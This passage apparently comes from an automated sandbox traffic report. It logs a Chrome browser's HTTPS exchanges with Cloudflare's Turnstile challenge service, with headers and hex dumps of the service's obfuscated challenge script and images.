G+H},'KJXAo':function(G,H){return G===H},'dEiDj':function(G,H){return G<H},'RAxH
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 50 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 7d 2c 6a 3d 4f 62 6a 65 63 74 5b 68 62 28 36 34 35 29 5d 28 68 29 2c 6b 3d 30 3b 69 5b 68 62 28 31 32 34 38 29 5d 28 6b 2c 6a 5b 68 62 28 33 38 34 29 5d 29 3b 6b 2b 2b 29 69 66 28 6c 3d 6a 5b 6b 5d 2c 69 5b 68 62 28 31 37 37 37 29 5d 28 27 66 27 2c 6c 29 26 26 28 6c 3d 27 4e 27 29 2c 67 5b 6c 5d 29 7b 66 6f 72 28 6d 3d 30 3b 69 5b 68 62 28 31 38 34 36 29 5d 28 6d 2c 68 5b 6a 5b 6b 5d 5d 5b 68 62 28 33 38 34 29 5d 29 3b 2d 31 3d 3d 3d 67 5b 6c 5d 5b 68 62 28 39 38 35 29 5d 28 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 26 26 28 69 5b 68 62 28 31 37 34 34 29 5d 28 65 59 2c 68 5b 6a 5b 6b 5d 5d 5b 6d 5d 29 7c 7c 67 5b 6c 5d 5b 68 62 28 37 32 32 29 5d 28 69 5b 68 62 28 31 30 33 37 29 Data Ascii: PM':function(n,o){return n+o}},j=Object[hb(645)](h),k=0;i[hb(1248)](k,j[hb(384)]);k++)if(l=j[k],i[hb(1777)]('f',l)&&(l='N'),g[l]){for(m=0;i[hb(1846)](m,h[j[k]][hb(384)]);-1===g[l][hb(985)](h[j[k]][m])&&(i[hb(1744)](eY,h[j[k]][m])\|\|g[l][hb(722)](i[hb(1037)
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 5d 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 68 6a 2c 52 2c 53 29 7b 68 6a 3d 68 66 2c 52 3d 46 5b 68 6a 28 31 37 33 30 29 5d 5b 68 6a 28 31 38 31 33 29 5d 7c 7c 31 65 34 2c 53 3d 47 28 29 2c 21 48 5b 68 6a 28 38 38 30 29 5d 26 26 21 49 28 29 26 26 21 4a 5b 68 6a 28 37 30 39 29 5d 5b 68 6a 28 31 36 30 36 29 5d 26 26 69 5b 68 6a 28 31 33 33 31 29 5d 28 69 5b 68 6a 28 31 38 35 37 29 5d 28 53 2c 4b 29 2c 52 29 3f 4e 28 29 3a 69 5b 68 6a 28 31 34 39 38 29 5d 28 4f 29 7d 2c 31 65 33 29 29 29 7d 2c 65 29 7d 2c 65 4d 5b 67 4a 28 35 38 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 68 6b 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 6b 3d 28 68 6b 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 6b 28 34 32 38 29 5d 3d 66 75 6e 63 74 Data Ascii: ](n,function(hj,R,S){hj=hf,R=F[hj(1730)][hj(1813)]\|\|1e4,S=G(),!H[hj(880)]&&!I()&&!J[hj(709)][hj(1606)]&&i[hj(1331)](i[hj(1857)](S,K),R)?N():i[hj(1498)](O)},1e3)))},e)},eM[gJ(585)]=function(g,h,i,hk,j,k,l,m,n,o,s,x,B,C,D,E,F){k=(hk=gJ,j={},j[hk(428)]=funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49764	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:20 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:20 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:20 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901fe13b9b57c436-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49765	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:21 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:21 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:21 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901fe13f7a97c439-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:21 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49766	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:21 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe1373f1743ff&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:21 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:21 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121633 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901fe140dfb70f42-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:21 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 5f 61 6c 77 61 79 73 5f 70 61 73 73 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 25 32 43 25 32 30 61 6c 77 61 79 73 25 32 30 70 61 73 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 Data Ascii: le_overrun_description":"Stuck%20here%3F","turnstile_footer_terms":"Terms","turnstile_footer_privacy":"Privacy","testing_only":"Testing%20only.","turnstile_failure":"Error","testing_only_always_pass":"Testing%20only%2C%20always%20pass.","turnstile_feedbac
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 2c 66 55 2c 66 59 2c 66 5a 2c 67 32 2c 67 33 2c 67 74 2c 67 75 2c 67 45 2c 67 30 2c 67 31 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 32 33 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 36 33 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 30 31 29 29 2f 33 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 37 39 32 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 37 35 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 36 31 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 38 30 38 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 Data Ascii: ,fU,fY,fZ,g2,g3,gt,gu,gE,g0,g1){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(623))/1+-parseInt(gI(1563))/2+-parseInt(gI(1401))/3*(parseInt(gI(792))/4)+parseInt(gI(775))/5+parseInt(gI(1361))/6+-parseInt(gI(1808))/7+parseInt(gI(1
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 2c 67 5b 67 4d 28 31 37 34 39 29 5d 29 2c 6b 5b 67 4d 28 38 36 33 29 5d 28 67 5b 67 4d 28 39 34 37 29 5d 2c 45 72 72 6f 72 29 3f 67 5b 67 4d 28 39 34 37 29 5d 3d 4a 53 4f 4e 5b 67 4d 28 31 34 31 33 29 5d 28 67 5b 67 4d 28 39 34 37 29 5d 2c 4f 62 6a 65 63 74 5b 67 4d 28 31 34 31 32 29 5d 28 67 5b 67 4d 28 39 34 37 29 5d 29 29 3a 67 5b 67 4d 28 39 34 37 29 5d 3d 4a 53 4f 4e 5b 67 4d 28 31 34 31 33 29 5d 28 67 5b 67 4d 28 39 34 37 29 5d 29 2c 6d 3d 69 7c 7c 6b 5b 67 4d 28 31 36 30 32 29 5d 2c 6e 3d 65 4d 5b 67 4d 28 31 38 38 38 29 5d 5b 67 4d 28 35 38 33 29 5d 3f 6b 5b 67 4d 28 34 39 33 29 5d 28 27 68 2f 27 2b 65 4d 5b 67 4d 28 31 38 38 38 29 5d 5b 67 4d 28 35 38 33 29 5d 2c 27 2f 27 29 3a 27 27 2c 6f 3d 6b 5b 67 4d 28 34 39 33 29 5d 28 6b 5b 67 4d 28 34 39 Data Ascii: ,g[gM(1749)]),k[gM(863)](g[gM(947)],Error)?g[gM(947)]=JSON[gM(1413)](g[gM(947)],Object[gM(1412)](g[gM(947)])):g[gM(947)]=JSON[gM(1413)](g[gM(947)]),m=i\|\|k[gM(1602)],n=eM[gM(1888)][gM(583)]?k[gM(493)]('h/'+eM[gM(1888)][gM(583)],'/'):'',o=k[gM(493)](k[gM(49
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 33 29 5d 28 74 79 70 65 6f 66 20 64 5b 67 4e 28 39 31 31 29 5d 2c 65 5b 67 4e 28 31 37 35 32 29 5d 29 29 26 26 28 6a 3d 64 5b 67 4e 28 39 31 31 29 5d 5b 67 4e 28 31 33 32 36 29 5d 28 27 5c 6e 27 29 2c 6a 5b 67 4e 28 31 31 34 39 29 5d 3e 31 29 26 26 28 67 4e 28 36 31 31 29 21 3d 3d 65 5b 67 4e 28 31 35 33 31 29 5d 3f 28 6f 3d 68 5b 67 4e 28 34 34 34 29 5d 28 67 4e 28 31 35 39 31 29 2c 65 5b 67 4e 28 31 30 38 31 29 5d 29 2c 6f 5b 67 4e 28 31 36 31 37 29 5d 28 27 64 27 2c 69 29 2c 65 5b 67 4e 28 31 30 39 39 29 5d 28 6a 2c 30 29 3f 6f 5b 67 4e 28 31 36 31 37 29 5d 28 65 5b 67 4e 28 38 39 33 29 5d 2c 65 5b 67 4e 28 35 33 37 29 5d 29 3a 65 5b 67 4e 28 39 39 36 29 5d 28 6b 2c 31 29 3f 6f 5b 67 4e 28 31 36 31 37 29 5d 28 67 4e 28 37 35 38 29 2c 67 4e 28 31 35 36 Data Ascii: 3)](typeof d[gN(911)],e[gN(1752)]))&&(j=d[gN(911)][gN(1326)]('\n'),j[gN(1149)]>1)&&(gN(611)!==e[gN(1531)]?(o=h[gN(444)](gN(1591),e[gN(1081)]),o[gN(1617)]('d',i),e[gN(1099)](j,0)?o[gN(1617)](e[gN(893)],e[gN(537)]):e[gN(996)](k,1)?o[gN(1617)](gN(758),gN(156
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 65 57 3d 65 4d 5b 67 4a 28 31 38 38 38 29 5d 5b 67 4a 28 31 36 38 35 29 5d 5b 67 4a 28 31 32 34 33 29 5d 2c 65 58 3d 65 4d 5b 67 4a 28 31 38 38 38 29 5d 5b 67 4a 28 31 36 38 35 29 5d 5b 67 4a 28 31 35 32 39 29 5d 2c 66 39 3d 21 5b 5d 2c 66 6c 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4a 28 31 33 33 30 29 5d 28 67 4a 28 31 32 38 36 29 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 68 48 2c 64 2c 65 29 7b 68 48 3d 67 4a 2c 64 3d 7b 27 4e 78 77 5a 45 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 2c 27 51 49 69 5a 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 67 3d 3d 3d 66 7d 2c 27 62 6f 4a 48 77 27 3a 68 48 28 34 35 39 29 2c 27 43 73 7a 4f 67 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 Data Ascii: eW=eM[gJ(1888)][gJ(1685)][gJ(1243)],eX=eM[gJ(1888)][gJ(1685)][gJ(1529)],f9=![],fl=undefined,eM[gJ(1330)](gJ(1286),function(c,hH,d,e){hH=gJ,d={'NxwZE':function(f,g){return f(g)},'QIiZO':function(f,g){return g===f},'boJHw':hH(459),'CszOg':function(f,g){retu
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 5d 3d 66 6b 2c 66 53 5b 67 4a 28 31 36 34 31 29 5d 3d 66 68 2c 66 53 5b 67 4a 28 34 37 38 29 5d 3d 66 64 2c 66 53 5b 67 4a 28 31 32 32 34 29 5d 3d 66 63 2c 65 4d 5b 67 4a 28 35 32 31 29 5d 3d 66 53 2c 66 54 3d 7b 7d 2c 66 54 5b 67 4a 28 31 34 39 35 29 5d 3d 27 6f 27 2c 66 54 5b 67 4a 28 31 31 35 34 29 5d 3d 27 73 27 2c 66 54 5b 67 4a 28 36 34 30 29 5d 3d 27 75 27 2c 66 54 5b 67 4a 28 31 38 30 35 29 5d 3d 27 7a 27 2c 66 54 5b 67 4a 28 36 33 32 29 5d 3d 27 6e 27 2c 66 54 5b 67 4a 28 31 35 32 38 29 5d 3d 27 49 27 2c 66 54 5b 67 4a 28 35 33 35 29 5d 3d 27 62 27 2c 66 55 3d 66 54 2c 65 4d 5b 67 4a 28 36 33 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 69 73 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 69 73 3d 67 4a 2c 6f 3d 7b 27 Data Ascii: ]=fk,fS[gJ(1641)]=fh,fS[gJ(478)]=fd,fS[gJ(1224)]=fc,eM[gJ(521)]=fS,fT={},fT[gJ(1495)]='o',fT[gJ(1154)]='s',fT[gJ(640)]='u',fT[gJ(1805)]='z',fT[gJ(632)]='n',fT[gJ(1528)]='I',fT[gJ(535)]='b',fU=fT,eM[gJ(631)]=function(g,h,i,j,is,o,x,B,C,D,E,F){if(is=gJ,o={'
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 28 74 68 69 73 2e 68 5b 34 30 2e 35 34 5e 74 68 69 73 2e 67 5d 5b 33 5d 5e 32 32 37 2b 74 68 69 73 2e 68 5b 34 30 2e 37 38 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 69 78 28 39 31 37 29 5d 28 74 68 69 73 2e 68 5b 34 30 2e 36 33 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 26 32 35 35 2e 36 35 29 3c 3c 31 36 7c 28 74 68 69 73 2e 68 5b 48 5b 69 78 28 31 30 33 37 29 5d 28 34 30 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 48 5b 69 78 28 39 35 37 29 5d 28 32 32 37 2b 74 68 69 73 2e 68 5b 48 5b 69 78 28 31 30 33 37 29 5d 28 34 30 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 69 78 28 39 31 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 34 30 2e 30 35 5d 5b 30 5d 2b 2b 29 2c 32 35 35 29 29 3c 3c 38 2e 33 38 7c 48 5b 69 78 28 31 30 33 37 29 5d 28 74 68 69 73 2e 68 5b 34 30 5e Data Ascii: (this.h[40.54^this.g][3]^227+this.h[40.78^this.g][1][ix(917)](this.h[40.63^this.g][0]++)&255.65)<<16\|(this.h[H[ix(1037)](40,this.g)][3]^H[ix(957)](227+this.h[H[ix(1037)](40,this.g)][1][ix(917)](this.h[this.g^40.05][0]++),255))<<8.38\|H[ix(1037)](this.h[40^
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 5d 3b 2d 31 3d 3d 3d 68 5b 6e 5d 5b 69 79 28 31 33 30 36 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 26 26 28 66 5a 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 69 79 28 37 34 34 29 5d 28 27 6f 2e 27 2b 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 79 28 31 35 30 33 29 5d 28 66 75 6e 63 74 69 6f 6e 28 76 2c 69 41 29 7b 72 65 74 75 72 6e 20 69 41 3d 69 79 2c 6b 5b 69 41 28 31 33 31 35 29 5d 28 27 6f 2e 27 2c 76 29 7d 29 7d 2c 67 30 3d 5b 5d 2c 67 31 3d 30 3b 32 35 36 3e 67 31 3b 67 30 5b 67 31 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 31 32 35 31 29 5d 28 67 31 29 2c 67 31 2b 2b 29 3b 67 32 3d 28 30 2c 65 76 61 6c 29 28 67 4a 28 37 31 34 29 29 2c 67 33 3d 61 74 6f 62 28 67 4a 28 31 32 Data Ascii: ];-1===h[n][iy(1306)](i[l[m]][o])&&(fZ(i[l[m]][o])\|\|h[n][iy(744)]('o.'+i[l[m]][o])),o++);}else h[n]=i[l[m]][iy(1503)](function(v,iA){return iA=iy,k[iA(1315)]('o.',v)})},g0=[],g1=0;256>g1;g0[g1]=String[gJ(1251)](g1),g1++);g2=(0,eval)(gJ(714)),g3=atob(gJ(12
2025-01-14 19:02:21 UTC	1369	IN	Data Raw: 69 7d 2c 27 54 67 55 6f 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 58 59 52 64 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 64 6c 52 7a 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 56 76 5a 59 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 7a 53 76 78 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 68 52 49 41 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 65 78 6c 65 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 56 72 57 57 4b 27 3a 66 75 6e 63 Data Ascii: i},'TgUox':function(h,i){return h-i},'XYRdU':function(h,i){return i==h},'dlRzW':function(h,i){return h-i},'VvZYh':function(h,i){return h==i},'zSvxo':function(h,i){return h-i},'hRIAo':function(h,i){return h+i},'exleM':function(h,i){return h<i},'VrWWK':func

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49768	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:21 UTC	1169	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/42373058:1736878526:BkU1SksTnjb9f1Ohf5ptrBjTP0MGxxzbJNiX3FkmxeU/901fe1373f1743ff/a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3549 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:21 UTC	3549	OUT	Data Raw: 76 5f 39 30 31 66 65 31 33 37 33 66 31 37 34 33 66 66 3d 47 34 37 62 6a 62 42 62 31 62 79 62 55 4b 32 65 4b 32 36 62 4b 35 46 75 43 67 35 32 69 4b 4d 4d 32 30 4f 32 46 38 62 4b 48 32 61 62 46 37 67 46 4c 48 37 32 72 56 48 32 57 59 4b 6f 47 32 4e 62 4b 36 37 32 46 53 33 34 24 50 32 53 75 32 6e 32 4b 34 32 53 37 51 38 32 4f 32 24 38 46 4d 32 75 38 56 37 32 31 37 37 24 67 32 66 6c 37 24 36 6b 62 46 25 32 62 32 74 4c 4a 54 37 71 51 44 75 76 42 53 6c 44 71 6c 35 24 4c 69 69 62 57 2b 32 70 4a 35 24 57 51 4e 54 74 32 43 4c 35 32 61 67 32 64 4e 30 2b 66 44 49 73 4d 66 6e 30 49 31 63 24 47 6e 33 37 34 35 24 6c 65 4b 67 38 56 62 32 54 56 2b 2b 37 62 24 76 32 51 38 32 78 70 36 63 58 4d 38 32 50 6b 6c 69 32 55 31 6a 66 48 65 66 66 24 78 59 32 38 38 4b 5a 4f 4f 37 54 Data Ascii: v_901fe1373f1743ff=G47bjbBb1bybUK2eK26bK5FuCg52iKMM20O2F8bKH2abF7gFLH72rVH2WYKoG2NbK672FS34$P2Su2n2K42S7Q82O2$8FM2u8V72177$g2fl7$6kbF%2b2tLJT7qQDuvBSlDql5$LiibW+2pJ5$WQNTt2CL52ag2dN0+fDIsMfn0I1c$Gn3745$leKg8Vb2TV++7b$v2Q82xp6cXM82Pkli2U1jfHeff$xY288KZOO7T
2025-01-14 19:02:21 UTC	751	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:21 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 153064 Connection: close cf-chl-gen: ZKvqeBWOs7sWRHJB7v0wZXDmbobXRfHBx8upOXNi05cw4JgzqoxQCuI4li47IQu+gdX47fAM4ibEZlqpfPfiGaGruyJ4SPv3mmw6UmT9d1potErjd/u9nHzBK1tZ2P3YGGFkYI4VRA1Chjgw8bkIZc+zJFBCcbkbaNKcGCmXbjMmZiXtsjHNhEh404M87zkPYWZahnGVM5bUxnJKHYhtThmrZdv1PY0LZyzTc7LH+/MorHYtgTfU1cYv9e8c9YSVW7RdqADNJD49V5FJfRSxbx9kuVd09TGZf27Idta/+cIHDvMxMCy2bztU9hR8W7PmxbvBgw47gcMqDrVQi2fln+EFQTCGa0u1Fm6LreAKr1c9JsdAM6/i8a7w2n7SlZ75bl4dZMuiIE06JK0FckpKPVeLlVaSKJJgquU9myFuMMBCSE0v5EAd8SMtI6Z5BPUbYyGBMfNZfvXa6rwG2/i5i1eS76R36jYNYpg7i47NHTs=$LvnXTLbHrHVVLwDy7Typfw== Server: cloudflare CF-RAY: 901fe14188128c96-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:21 UTC	618	IN	Data Raw: 62 6f 74 48 59 59 2b 49 54 56 2b 44 5a 58 64 33 69 34 2b 4e 68 32 35 6e 67 48 42 75 65 35 4b 54 6f 5a 32 6a 6e 32 53 44 6a 58 64 35 65 71 2b 65 72 61 6d 7a 71 33 43 50 6d 4b 32 4c 75 37 4f 73 75 62 61 4a 74 33 79 7a 75 70 75 57 6e 36 61 43 75 61 6d 39 75 4b 4c 4f 6f 4d 69 63 6a 4b 4b 4f 78 63 76 4a 75 71 6d 30 31 71 32 75 74 38 37 51 72 39 4b 62 76 2b 48 64 76 64 2b 69 37 4e 72 42 75 66 44 65 78 62 76 4c 35 72 44 41 77 4b 2f 6f 39 66 48 56 38 37 6a 48 34 4c 72 55 75 74 51 41 34 2f 44 77 32 76 4c 67 42 2b 48 59 31 2f 72 37 33 4e 73 48 37 2f 48 7a 35 74 55 58 47 4e 50 2b 32 42 49 61 37 52 49 51 37 68 54 69 4a 68 48 33 39 41 49 63 44 69 45 41 4a 51 49 6a 37 76 45 48 4e 52 67 58 43 44 41 48 4a 52 41 49 44 43 45 77 4f 52 6f 76 48 69 44 2b 48 6a 73 44 4f 45 51 Data Ascii: 